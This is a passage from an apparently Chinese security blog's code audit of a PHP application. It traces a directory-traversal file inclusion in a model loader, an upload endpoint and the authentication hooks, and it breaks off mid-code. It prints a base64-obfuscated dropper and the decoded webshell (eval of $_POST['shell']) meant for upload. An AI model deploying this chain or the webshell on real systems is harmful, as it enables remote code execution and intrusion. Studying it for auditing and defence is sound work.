class="code-snippet__keyword">as</span> $mod_path)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( ! file_exists($mod_path.<span class="code-snippet__string">&#39;models/&#39;</span>.$path.$model.<span class="code-snippet__string">&#39;.php&#39;</span>))</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 这里的 require_once 可以被利用来文件包含</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">require_once</span>($mod_path.<span class="code-snippet__string">&#39;models/&#39;</span>.$path.$model.<span class="code-snippet__string">&#39;.php&#39;</span>);</span></code><code><span class="code-snippet_outer">        $CI-&gt;$name = <span class="code-snippet__keyword">new</span> $model();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">开发常见的问题，相信了用户的输入，没有对输入进行足够的过滤，这个函数没有对传入的参数 $model 做严格的过滤，导致可以通过 &#34;../&#34; 进行目录穿越，从而可以实现对任意文件的包含。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">那么再回到调用 model 的地方再看：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">$this</span>-&gt;load-&gt;model($class);</span></code><code><span class="code-snippet_outer">$response = <span class="code-snippet__keyword">$this</span>-&gt;$class-&gt;$method($data);</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">实例化了目标类之后，还调用了相应的方法，可谓非常贴心了。</span><br/></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>PART3.</strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>尝试利用</strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-left: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="caret-color: rgb(255, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">从目前已经掌握的漏洞点出发，已经可以构思出这个漏洞的利用方式，首先准备一个恶意的 php 文件准备上传：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">TempClass</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in __construct()\n&#39;</span>);</span></code><code><span class="code-snippet_outer">        file_put_contents(<span class="code-snippet__string">&#39;/tmp/TempClass2.php&#39;</span>,base64_decode(<span class="code-snippet__string">&#34;PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9&#34;</span>));        </span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">getData1</span><span class="code-snippet__params">($params)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in getData1()\n&#39;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">包含这个恶意文件并实例化 TempClass 时，会调用构造函数写入一个 /tmp/TempClass2.php，内容为：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">TempClass2</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__construct</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in __contruct\n&#39;</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">eval</span>($_POST[<span class="code-snippet__string">&#39;shell&#39;</span>]);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">getData1</span><span class="code-snippet__params">($params)</span></span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in getData1&#39;</span>);</span></code><code><span class="code-snippet_outer">       var_dump($params);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">那么，接下来需要找到这个上传的入口，在一处 js 中找到了对应的代码：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">$(<span class="code-snippet__string">&#39;.form-file&#39;</span>).on(<span class="code-snippet__string">&#39;change&#39;</span>, <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> (<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    $(formId + <span class="code-snippet__string">&#39;.form-upload&#39;</span>).val(file[<span class="code-snippet__number">0</span>].name);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> formData = <span class="code-snippet__keyword">new</span> FormData();</span></code><code><span class="code-snippet_outer">    formData.append(<span class="code-snippet__string">&#39;uploadedFile&#39;</span>, file[<span class="code-snippet__number">0</span>]);</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">});</span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer">context.methodsCall = <span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params">formData</span>) </span>{</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    $.ajax({</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">url</span>: <span class="code-snippet__string">&#39;/uploadController/uploadMethod/&#39;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">type</span>: <span class="code-snippet__string">&#39;POST&#39;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">data</span>: formData,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">dataType</span>: <span class="code-snippet__string">&#39;json&#39;</span>,</span></code><code><span class="code-snippet_outer">        ......</span></code><code><span class="code-snippet_outer">        success: <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> (<span class="code-snippet__params">data</span>) </span>{</span></code><code><span class="code-snippet_outer">            ......</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    });</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;max-inline-size: 100%;margin: 10px;box-sizing: border-box;min-height: 1em;cursor: text;caret-color: rgb(255, 0, 0);font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;box-sizing: border-box !important;outline: none 0px !important;">从前端页面找到这个接口似乎不太方便，但是从 js 的逻辑中构建出请求包倒也不困难。</span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">只是遗憾的是，尝试访问之后发现这个上传接口不能随意访问，所以还得从程序入口开始审计哪里做了鉴权。</span></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>PART4.</strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>找到鉴权</strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-left: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">代码定义了 Hooks 类，在对每一个控制器的进行操作前，都会先调用若干个 hooks 中定义的方法，其中和鉴权相关的方法位于：hooks/auth.php</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">鉴权相关的函数为 permissionCheck()：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">permissionCheck</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    $user = $CI-&gt;load-&gt;get_var(<span class="code-snippet__string">&#39;auth_user&#39;</span>);</span></code><code><span class="code-snippet_outer">    $permissions = $user[<span class="code-snippet__string">&#39;permissions&#39;</span>];</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (! in_array($action, $allow)) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (! <span class="code-snippet__keyword">isset</span>($permissions[$controller][$action])) {</span></code><code><span class="code-snippet_outer">            ......</span></code><code><span class="code-snippet_outer">            redirect(<span class="code-snippet__string">&#39;permissions/unauthorized&#39;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里可以看到，我们想要调用的方法，需要在 $user[&#39;permissions&#39;] 中被指定，$user 从 $CI-&gt;load-&gt;get_var(&#39;auth_user&#39;) 中来，</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">auth_user</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 刚好在另一个 hooks 方法 loginCheck() 中被设置。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">loginCheck</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ($CI-&gt;router-&gt;method != <span class="code-snippet__string">&#39;login&#39;</span> &amp;&amp; !$CI-&gt;session-&gt;userdata(<span class="code-snippet__string">&#39;logged_in&#39;</span>)) {</span></code><code><span class="code-snippet_outer">        redirect(<span class="code-snippet__string">&#39;users/login&#39;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">elseif</span> ($CI-&gt;session-&gt;userdata(<span class="code-snippet__string">&#39;logged_in&#39;</span>)) {</span></code><code><span class="code-snippet_outer">        $user = <span class="code-snippet__keyword">new</span> User;</span></code><code><span class="code-snippet_outer">        $user = $user-&gt;findUserById($CI-&gt;session-&gt;userdata(<span class="code-snippet__string">&#39;logged_in&#39;</span>));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">empty</span>($user)) {</span></code><code><span class="code-snippet_outer">            $CI-&gt;session-&gt;destroySess();</span></code><code><span class="code-snippet_outer">            redirect(<span class="code-snippet__string">&#39;users/login&#39;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elseif</span> (<span class="code-snippet__keyword">empty</span>($user[<span class="code-snippet__string">&#39;permissions&#39;</span>])) {</span></code><code><span class="code-snippet_outer">            $CI-&gt;session-&gt;destroySess();</span></code><code><span class="code-snippet_outer">            redirect(<span class="code-snippet__string">&#39;users/login&#39;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            $CI-&gt;session-&gt;setUserdata(<span class="code-snippet__string">&#39;user&#39;</span>, $user);</span></code><code><span class="code-snippet_outer">            $CI-&gt;load-&gt;vars(<span class="code-snippet__string">&#39;auth_user&#39;</span>, $user);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ($CI-&gt;router-&gt;method == <span class="code-snippet__string">&#39;login&#39;</span>) redirect(<span class="code-snippet__string">&#39;users&#39;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;margin: 10px;box-sizing: border-box;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">直接来看 elseif 部分，对于已经登陆的用户，会根据用户 id 用 findUserById() 到数据库中查询相应的信息，其中包含一个 permissions 字段，似乎看到了我们想要的东西，之后又将用户信息用 $CI-&gt;load-&gt;vars 设置为一个 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">auth_user</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 变量，也就是 permissionCheck() 函数中参数的来源，</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来看一下 findUserById() 具体操作了哪些数据库：</span></p><p style="text-align:left;margin: 10px;box-sizing: border-box;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">findUserById</span><span class="code-snippet__params">($id = null)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ($id) {</span></code><code><span class="code-snippet_outer">        $q = Doctrine_Query::create()</span></code><code><span class="code-snippet_outer">            -&gt;from(<span class="code-snippet__string">&#39;User u&#39;</span>)</span></code><code><span class="code-snippet_outer">            -&gt;leftJoin(<span class="code-snippet__string">&#39;u.Role r&#39;</span>)</span></code><code><span class="code-snippet_outer">            -&gt;leftJoin(<span class="code-snippet__string">&#39;r.Permission p&#39;</span>)</span></code><code><span class="code-snippet_outer">            -&gt;leftJoin(<span class="code-snippet__string">&#39;u.Sessions 